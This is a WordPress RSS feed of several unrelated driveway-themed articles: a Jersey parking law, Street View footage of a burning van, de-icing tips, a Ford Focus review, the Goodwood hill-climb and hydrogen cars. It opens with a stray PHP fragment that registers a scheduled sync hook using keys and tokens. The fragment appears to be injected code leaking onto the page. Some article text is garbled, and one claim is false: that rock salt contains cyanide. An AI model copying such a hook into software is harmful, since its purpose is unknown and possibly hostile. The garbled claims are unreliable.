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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); driveway – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 08 Oct 2018 16:14:57 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png driveway – Brief News https://briefnews.eu 32 32 Parking loophole that lets anyone park on your driveway could be closed by new law https://briefnews.eu/parking-loophole-that-lets-anyone-park-on-your-driveway-could-be-closed-by-new-law/ https://briefnews.eu/parking-loophole-that-lets-anyone-park-on-your-driveway-could-be-closed-by-new-law/#respond Mon, 08 Oct 2018 16:14:57 +0000 http://briefnews.eu/parking-loophole-that-lets-anyone-park-on-your-driveway-could-be-closed-by-new-law/

A bizarre law that lets any motorists could be scrapped.

The new law would stop any motorist parking on private property.

Under current laws, drivers are fairly powerless when it comes to removing a driver than parks on your driveway without permission.

Jersey will aim to tackle this by now classifying the offences as ‘nuisance parking.’

A new draft law lodged by the Minister for Home Affairs proposed that these cars would be able to be removed if they parked on your driveway without permission.

The law would also make it illegal for drivers to place a clamp on cars parked on their driveway without permission.

Currently, the law is only proposed to come into force in Jersey meaning not all motorists from across the UK will be able to benefit from the rule change.

Constable Len Norman, Jersey’s Minister for Home Affairs, told ITV Channel TV: “Vehicles that are parked on private land without permission can be a source of great frustration for private landowners.

“Currently, private landowners have few remedies to deal with the problem, and it can involve a costly legal process.

“The introduction of this law will make it much easier for private landowners to seek relief from vehicles that have been abandoned on their land or that are causing a nuisance, obstruction or a potential hazard to the emergency services.”

is a tricky issue to price as it blurs the line between a civil and criminal offence.

Local authorities can remove a vehicle that is parked on a public road, blocking your driveway.

However, if it is on your driveway then the authorities have no jurisdiction.

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One driver arrived home to find a stranger’s car parked on her driveway.

There was no explanation to where the Vauxhall Zafira came from or who it belonged to.

Homeowner Natalie Robbins wanted to get to the bottom of the issue and appealed on Facebook to try and find the owner.

“Does anybody know whose car this is? It’s been parked on my drive since last night. Police have been notified,” she wrote on the DN35 Crimewatch group.

The homeowner added that they towed the car off the drive onto the front of the road so it wasn’t blocking their car.

What’s more when she reported the car to the police, she was informed that the law was not on her side and she could not remove the vehicle.

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Police or local authorities may not be able to help you if a stranger was to park their vehicle on your driveway.

Criminal and civil law becomes blurred when the vehicle ends up on a driveway because it is technically on private property.

Once a car ends up on your driveway the vehicle is now technically on private land – which local councils have zero jurisdiction over.

If the car was blocking your driveway while parked on a public road local authorities have the power to fine the offending motorist.

Councils also have the power to move cars from both public and private property, if they have been abandoned.

However, if the car has up-to-date tax, insurance, MOT and isn’t in a dangerous condition, then the council is unlikely to do remove it.

A spokesman for North East Lincolnshire Council said: “As the land is privately owned it would usually be up to the landowner to arrange for the vehicle to be removed.

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]]> https://briefnews.eu/strangers-can-park-their-car-on-your-driveway-and-theres-nothing-you-can-do-about-it/feed/ 0 Google Maps: SHOCK footage captured on a driveway in Toronto – what happened next? https://briefnews.eu/google-maps-shock-footage-captured-on-a-driveway-in-toronto-what-happened-next/ https://briefnews.eu/google-maps-shock-footage-captured-on-a-driveway-in-toronto-what-happened-next/#respond Tue, 01 May 2018 12:37:02 +0000 http://briefnews.eu/google-maps-shock-footage-captured-on-a-driveway-in-toronto-what-happened-next/

Since it was launched in 2005, Google Maps has been used to bring world travel into the bedroom of the user. 

However, when street view was created two years later, it appears the world-mapping tool developed another purpose.

Being able to explore streets across the globe virtually, the tool has a habit of capturing the general public off guard. 

From the back gardens of neighbours to embarrassing public situations, those captured on street view have become somewhat of a celebrity. 

But it’s not just funny snapshots of the streets that have made viral news, some shocking images such as this one have spread across the internet. 

The image was taken on Robinglade Drive in Toronto, Canada. The street view cameras have captured an ordinary house on a bright a sunny day. 

However, there is something very extraordinary about this particular house. 

Two cars, a red pick-up Ford and a white van, can be seen parked on the driveway. 

There is nobody on the driveway, but the back door of the van is white open with boxes viable loaded by the back door. 

The front door of the van is also wide open and what shockingly, raging orange flames appears to be bursting out of the door. 

The entire van is on fire with thick black smoke billowing out of the door. 

Although the driveway is empty, a man can be seen kneeling on the grass outside of the front steps of the house. 

He appears to have something round in his hands. Could it be a hosepipe and is he attempting to put out the fire himself?

Or is he attending to the garden and has no idea of the serious situation unfolding mere meters away on his driveway. 

Google did not capture what happened next. It’s unknown if the fire was quickly put out of is the flames engulfed the entire vehicle.

Google Maps does not just capture residential streets and people, with footage spanning the globe even desert is available for users to explore. 

Spotted in the Sudan Desert a giant mouth has bee spotted which some users claim is hiding something – a ‘black hole’.

From above, looking down on the hilly desert, a large mouth shape can be seen. 

The incredible phenomenon is said to be completely natural, although many would suspect it had humans have interfered.

The space measures 1km in total, and the shape is created by a row of trees and a raised part of the sand.

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Britain is braced for a seriously cold snap over the coming days, with snow expected in many parts of the country.

Plunging temperatures and colder air can lead to icy conditions on roads and railways.

Homeowners may also have to face treacherous paths to their own front door thanks to slippery ice underfoot.

But there are things that can be done to quickly get rid of, and even prevent, ice.

How to de-ice your driveway

Rock Salt

This is the most commonly used method to de-ice a driveway and has the benefit of being cheap and easily available.

Over two millions tonnes of salt are spread onto UK roads each year, according to Compass Minerals, and this doesn’t include the millions more used on driveways.

But there are drawbacks to using salt, as is contains cyanide and chloride which are harmful to pets and plants.

Heat Mats

A high tech solution that can be installed in to the ground if you are replacing your driveway or building a new house.

But they are very expensive – around £84 for 1.5m plus installation.

Sand

Using sand or gravel can make icy surfaces less dangerous to walk on because they create traction, so you are less likely to slip.

But they can also create a mess and clog drains once ice has thawed.

Environmentally Friendly

All-natural ‘green’ products have come onto the market in recent years, but results are mixed.

One type, calcium magnesium acetate, is biodegradable but on de-ices when air temperature is -3ºC or warmer, making it useless on bitterly cold nights.

Shovel

Preventing snow from building up will help prevent ice. The only way to do this effectively is to get out the shovel.

Shovelling snow as soon as it starts to hit the ground will be most effective.

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“You may be saving lives, but don’t park your van in a stupid place and block my drive.”

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Built on the outskirts of Detroit—for another year or so—and with a well-deserved spot in driveways across the country, the Ford Focus is as American as apple pie. During its journeys, the Focus has accumulated many gifts, and it has bestowed them on the American consumer; among them are lithe handling and impressive fuel efficiency. Unfortunately, these gifts come with some compromises. The Focus is outclassed by larger rivals that offer more passenger space, larger cargo holds, and more modern features. Still, it’s an easy car to recommend, and its two body styles—hatchback and sedan—offer broad appeal. There are even high-performance ST and RS versions and a plug-in electric model, but we review those models separately. READ MORE ››

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]]> https://briefnews.eu/2018-ford-focus-in-depth-a-fixture-of-the-american-driveway/feed/ 0 We Drive the Fastest, Most Challenging Driveway: Goodwood’s Hill-Climb! https://briefnews.eu/we-drive-the-fastest-most-challenging-driveway-goodwoods-hill-climb/ https://briefnews.eu/we-drive-the-fastest-most-challenging-driveway-goodwoods-hill-climb/#respond Thu, 06 Jul 2017 00:45:38 +0000 http://briefnews.eu/we-drive-the-fastest-most-challenging-driveway-goodwoods-hill-climb/ Subaru WRX STi at Goodwood hillclimb

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The next time someone claims that driving a track in Gran Turismo—or any video-game simulator, for that matter—prepared them for the real thing, ask them to pass the salt. Given the opportunity to drive Goodwood’s famous hill-climb course at the 2017 Festival of Speed, we of course had a few goes of it digitally in preparation before we caught a plane to London. Just 1.16 miles long and with seven corners, the track seems straightforward enough in Gran Turismo or otherwise. It isn’t.

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For evidence, look to how many cars crash at Goodwood during the three-day Festival of Speed. These are, in many cases, priceless vintage machines. The drivers are neither inexperienced nor careless, and yet still they occasionally veer off into one of the hay bales lining the track. Stir in the occasional sprinkle of rain (this is the U.K., after all), patches of post-burnout rubber deposits from showboaters, and gobs of oil sprayed all over the track by the eclectic parade of classics puttering up its length during the weekend, and the hill-climb is downright wicked.

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The hill-climb course wasn’t conceived as a racetrack. It’s just a long, narrow, and winding driveway on the estate of Lord March. Its surface is bumpy and the pavement was draped down the side of the hill with no concessions to proper camber. There is no curbing—the pavement simply ends, and grass or hay bales begin—and one of the trickier sections is framed on one side by a solid flint wall.

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So how on earth did this not-racetrack come to host a timed hill-climb event? Lord March opens his spectacular property twice a year, once for the Festival of Speed and another time for the Goodwood Revival, a series of vintage-car races with a cosplay, period-dress element. The hill-climb element is tied to the Festival of Speed and forces the cars on display, spanning every automotive era, to take a drive up it for the crowd. The idea is to see the cars in action, not static as at most car shows.

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A few years ago, Goodwood began timing the runs, inviting an element of competition. Provided they’re driving a car with some competition pedigree, pilots can chase a fast time in the hopes of qualifying for the final day’s timed shootout event. This hunt is what often leads to crashes on the hill, although some parade laps go south, too.

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We arrived at the track at midday Thursday, the day before the first timed hill-climb runs were set to begin. Our overnight flight from Detroit had landed at Heathrow that morning, and we had pretty much been driven straight from the airport to Goodwood. Our ride up the hill was put together by Subaru, which was bankrolling an effort to snatch the weekend’s quickest lap time in its Prodrive-modified 600-hp WRX STI that had set the lap record at the Isle of Man TT. We didn’t drive that car.

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Instead, we were ushered into a bone-stock (and rather tired) U.S.-spec HyperBlue WRX STI. Pulled from Subaru’s press fleet in the States and at some point shipped to the U.K., the STI was still wearing its green Illinois manufacturer license plates. As if to allay any confusion among the track workers as to why the driver was in the wrong front seat, the car had big stickers reading “USA” and “left-hand drive” slapped on its trunklid. We would have one shot at the hill, and Subaru specifically reminded us that we wouldn’t be wearing a helmet and thus to pick our speeds accordingly.

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The Subaru was parked in a staging area for Goodwood’s Moving Motor Show, a parade of late-model and noteworthy cars that aren’t chasing ultimate lap times and stream up the track between the display vehicles’ run groups. After we strapped in, a track marshal waved us into a line of Ferraris, Porsches, and Aston Martins, and we slowly noodled our way down tight footpaths toward the start line. It began to rain.

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By the time we reached the start line, it was raining with some gusto. A track worker gave us the go-ahead, and we launched the STI with some spirit, immediately getting wheelspin and a flash of the traction-control light. Entering the first turn, a sweeping right-hander, the track felt greasy, and we backed off before getting back on it for the main straight. As we rounded the gentle kink at the end of the straight, the windshield filled with a hay bale laying prone in the center of the track. That wasn’t in Gran Turismo, nor had anyone mentioned it’d be there. We’d later find out it was installed by track marshals hoping to slow our parade runs down after some drivers before us had done poor impressions of Fangio. So we slammed the brakes and tiptoed around the improvised chicane, and more or less drove moderately the rest of the way as the rain continued to fall.

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It wasn’t the Gran Turismo–style run at the hill we wanted to take. For the track’s best corners—the hard left Molecomb Corner, nicknamed Malcolm,  just past the errant hay bale, as well as the Flint Wall slalom beyond—we left the Subaru in third gear, never getting above 60 mph between them. Even so, it was clear there’s more to the hill-climb than meets the eye. However few their number, the corners are all weirder than they appear, and the track’s narrowness makes it hard to find an ideal line. It worsens as you near the finish line, where the hay bales draw ever closer to your door mirrors until it seems the whole “track” is just wider than your car. Everywhere else, disaster waits for a wheel placed in the grass, mere inches off the ideal line, or in an overcooked corner with those omnipresent hay bales looming.

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Heck, just before we took our crack at the hill, the driver of a Ford RS200 rally car stuffed it at Malcolm. Two days later, a 1935 Frazer Nash monoposto race car spun there, too, the driver redeeming himself slightly by steering the car into the bales rear first. Both cars escaped with relatively minor cosmetic damage, something we figured Subaru wouldn’t like to see grace its STI. Don’t worry, we’ll be back, although most likely in a video game.

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Give it a try. There might not be oil deposited from a ’30s Bugatti or rain to throw you off, but you might be surprised by the challenge posed by this glorified driveway when you’re chasing a quick time sans hay-bale contact.

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For a look at a clean run—even with the speed-mitigating chicane in place—watch the video below, in which Subaru’s event manager, Ian Dobson (who rallies a classic Ford Escort in his spare time), threads the STI up the hill:
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The new tech on the block

Driving a hydrogen-powered car has some ups and downs. On the plus side, you get the green benefits of an EV without the range anxiety, because you can refill the car with more hydrogen. On the minus side, hydrogen refueling stations are rare – at least for the moment.  There’s also a challenge in obtaining hydrogen in a way that’s both green and efficient.

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Further, as with any new technology, there’s some understandable hesitation to be among the first people to take the leap and commit to several years (at least) with a power source that may or may not work out. But keep reading and we’ll give you enough background that you can make your own decision.

How hydrogen fuel cells work

A hydrogen fuel cell is a simple machine. The core of the tech is a Proton Exchange Membrane. On one side of the membrane you have some pure hydrogen, and on the other side you have ordinary air. Ordinary air is about 80-percent nitrogen and 20-percent oxygen, plus trace amounts of other stuff. The proton exchange membrane is critical, because hydrogen and oxygen atoms really like to be together. Specifically, two hydrogen atoms and an oxygen atom always want to get together and create a water molecule. It’s a beautiful thing. Don’t judge.

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The membrane will allow hydrogen atoms to pass through to the oxygen, but only if the hydrogen atom gives up its electron on the way. We cleverly put some highly conductive metal like platinum on the walls of the fuel cell, so the electrons go there and run all the way around the fuel cell to get back to their hydrogen atoms, and that action creates electrical current that we can use. When the oxygen and hydrogen are all coupled up and complete again, we’ve got a water molecule and some electricity for our trouble. If you consider only the fuel cell, you can get energy without creating any pollution.  Genius!

The hydrogen conundrum

The first problem with that rosy scenario is that hydrogen and oxygen love each other so much that free hydrogen doesn’t really exist in our atmosphere. It’s all been turned into the water that covers most of the planet. So, before we can get that energy, we have to make some loose hydrogen to put into our hydrogen fuel cell.

There are a lot of ways to get hydrogen, and some are wackier than others. In the 19th century, people used to drop iron filings into barrels of sulfuric acid. The reaction produced hydrogen gas, which they ducted into balloons to go up in the air. It works, but it’s really not feasible on a large scale, and there are literally barrels of toxic waste involved every time you use this method. Let’s call that one a non-starter.

You can also use electricity to break apart water molecules using electrolysis, and you get pure hydrogen and oxygen. That’s great, but the laws of thermodynamics dictate that you’ll never get as much electricity back out of the hydrogen as you put into the system to break up the water molecules. You’d be better off using the electricity to charge a battery. Plus, a lot of our North American electricity is still made by burning coal, which is decidedly not green.

The third way to get hydrogen is equally problematic. You can reform natural gas, cracking the hydrocarbon molecules to break the hydrogen loose. But that means you’re still dependent on fossil fuel, and when you break out the hydrogen for your green power, you also produce carbon dioxide, which is a greenhouse gas. The irony is enough to power a whole city of hipsters.

Before we close on hydrogen generation, research is being done on photosynthesis of the element using algae. It remains to be seen if that will work on a large scale, but it’s better than some of the other methods that have been tried.

A pretty good fuel

The problem of creating loose hydrogen is the snag that keeps it from being a perfect fuel. However, it’s still cleaner to reform natural gas (or methanol, which we can make from plant waste) into hydrogen and carbon dioxide than to burn the gas in an internal combustion engine. And with increasing solar generation capability, we can use sun-made electricity to make hydrogen, too. We still suffer the overall thermodynamic loss in converting sunshine to electricity to hydrogen to electricity, but at least we’ve got a lot of sunshine to use, and it doesn’t create a greenhouse gas in the process. Of course, you have to make the solar panels, and that comes with its own challenges.

So while it’s not perfect, hydrogen is still a pretty good fuel. It’s better than burning refined crude oil, for sure.

Becoming more available

If you live anywhere in America other than greater Los Angeles or the San Francisco Bay Area, this is all still kind of academic for you. Right now, the vast majority of the nation’s hydrogen fueling infrastructure is in California, and there aren’t that many stations.

In Northern California, you can get hydrogen from six stations in the Bay Area, one station in Sacramento, and a lone station in Truckee on the way to Reno. In Southern California, you’ve got 16 stations in the Los Angeles area, plus a station in Del Mar near San Diego and a single station in Santa Barbara.

However, it’s worth noting that there are at least 20 new stations scheduled to open in California this year. The new stations are all in the L.A. and Bay areas, so while new regions are not yet opening up, hydrogen is becoming more convenient where it’s already located.

The California Fuel Cell Partnership has a map of hydrogen stations. You can check and see if you live and work close enough to a hydrogen station to make it work for you. The U.S. Department of Energy also maintains a nationwide map on its Alternative Fuels Data Center website, but the only hydrogen stations listed outside California are one in Massachusetts, one in Connecticut, and one in South Carolina.

Why you’ll see more hydrogen cars in the future

To really understand the hydrogen-powered car, you have to look at it in the bigger context of electric vehicles. A cardinal rule of alternative fuels is that there is not one single solution that will work in every case. Battery electric vehicles are likely to take a long time to recharge for the foreseeable future, and affordable electrics will have limited range. Hybrids and even plug-in hybrids still use fossil fuels at some level, but you can get into them and drive long distances with easy refueling. Hydrogen power bridges that gap, giving you a zero-emissions vehicle that you can refuel like a gasoline-powered car, provided there is a hydrogen station where you need it.  Within that context, there’s a place for hydrogen-powered cars in our world.

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